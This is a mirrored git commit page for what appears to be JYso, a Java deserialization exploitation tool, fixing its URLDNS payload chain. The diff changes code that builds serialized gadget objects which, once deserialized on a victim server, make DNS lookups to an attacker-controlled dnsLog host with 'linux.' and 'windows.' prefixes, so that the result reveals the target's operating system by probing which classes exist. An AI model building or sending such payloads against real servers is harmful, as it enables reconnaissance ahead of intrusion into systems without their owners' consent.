mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
fix: 修复urldns链bug
This commit is contained in:
@@ -3,3 +3,4 @@
|
|||||||
out/
|
out/
|
||||||
.DS_Store
|
.DS_Store
|
||||||
/build
|
/build
|
||||||
|
1.ser
|
||||||
+1
-1
@@ -19,7 +19,7 @@ repositories {
|
|||||||
shadowJar {
|
shadowJar {
|
||||||
archiveClassifier = ''
|
archiveClassifier = ''
|
||||||
zip64 = true
|
zip64 = true
|
||||||
// minimize()
|
minimize()
|
||||||
manifest {
|
manifest {
|
||||||
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -537,21 +537,20 @@ public class URLDNS implements ObjectPayload<Object> {
|
|||||||
break;
|
break;
|
||||||
case "winlinux":
|
case "winlinux":
|
||||||
//windows/linux版本判断
|
//windows/linux版本判断
|
||||||
|
try {
|
||||||
String os = System.getProperty("os.name").toLowerCase();
|
|
||||||
String fsClass;
|
|
||||||
|
|
||||||
if (os.contains("win")) {
|
|
||||||
Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData");
|
Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData");
|
||||||
Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer");
|
Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer");
|
||||||
list.add(linux);
|
list.add(linux);
|
||||||
list.add(windows);
|
list.add(windows);
|
||||||
} else {
|
// Object linux1 = getURLDNSGadget("linux1." + dnsLog, "java.io.UnixFileSystem");
|
||||||
Object linux1 = getURLDNSGadget("linux1." + dnsLog, "java.io.UnixFileSystem");
|
// Object windows1 = getURLDNSGadget("windows1." + dnsLog, "java.io.WinNTFileSystem");
|
||||||
Object windows1 = getURLDNSGadget("windows1." + dnsLog, "java.io.WinNTFileSystem");
|
// list.add(linux1);
|
||||||
list.add(linux1);
|
// list.add(windows1);
|
||||||
list.add(windows1);
|
} catch (Exception e) {
|
||||||
|
log.error("e: ", e);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case "all":
|
case "all":
|
||||||
|
|||||||
Reference in New Issue
Block a user